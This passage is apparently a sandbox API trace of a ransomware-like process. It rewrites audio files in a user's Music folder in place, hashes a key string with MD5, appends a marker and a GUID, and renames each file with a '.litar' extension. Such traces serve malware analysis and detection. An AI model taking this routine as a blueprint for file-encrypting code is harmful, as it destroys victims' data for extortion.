SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x127a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.699] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.699] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.699] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.699] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.699] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.699] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.699] CloseHandle (hObject=0x624) returned 1 [0126.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.700] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.700] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\-RJ_rXnG1_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ojv-o\\-rj_rxng1_.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\-RJ_rXnG1_.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ojv-o\\-rj_rxng1_.m4a.litar")) returned 1 [0126.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.701] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.702] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x461756f0, ftCreationTime.dwHighDateTime=0x1d4cbb9, ftLastAccessTime.dwLowDateTime=0x71c3d870, ftLastAccessTime.dwHighDateTime=0x1d4c5e5, ftLastWriteTime.dwLowDateTime=0x71c3d870, ftLastWriteTime.dwHighDateTime=0x1d4c5e5, nFileSizeHigh=0x0, nFileSizeLow=0x18e72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vDiwpl_QLurQQz6.mp3", cAlternateFileName="VDIWPL~1.MP3")) returned 1 [0126.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0126.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\vDiwpl_QLurQQz6.mp3") returned=".mp3" [0126.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\vDiwpl_QLurQQz6.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ojv-o\\vdiwpl_qlurqqz6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.706] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=102002) returned 1 [0126.706] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.708] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18e4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.708] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.709] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.709] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.709] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x18e72, lpOverlapped=0x0) returned 1 [0126.710] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.711] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.711] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.711] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.711] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.711] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.711] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.711] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.711] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.711] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.712] GetLastError () returned 0x0 [0126.712] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.712] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.712] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.712] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18e70) returned 0x30fa0b0 [0126.712] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.712] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.712] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x18e6d, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x18e6d, lpOverlapped=0x0) returned 1 [0126.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.713] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18e72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.713] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.713] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.713] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.713] CloseHandle (hObject=0x624) returned 1 [0126.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.714] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.714] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\vDiwpl_QLurQQz6.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ojv-o\\vdiwpl_qlurqqz6.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\vDiwpl_QLurQQz6.mp3.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ojv-o\\vdiwpl_qlurqqz6.mp3.litar")) returned 1 [0126.715] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.715] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.716] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x461756f0, ftCreationTime.dwHighDateTime=0x1d4cbb9, ftLastAccessTime.dwLowDateTime=0x71c3d870, ftLastAccessTime.dwHighDateTime=0x1d4c5e5, ftLastWriteTime.dwLowDateTime=0x71c3d870, ftLastWriteTime.dwHighDateTime=0x1d4c5e5, nFileSizeHigh=0x0, nFileSizeLow=0x18e72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vDiwpl_QLurQQz6.mp3", cAlternateFileName="VDIWPL~1.MP3")) returned 0 [0126.716] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0126.716] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.716] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.719] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 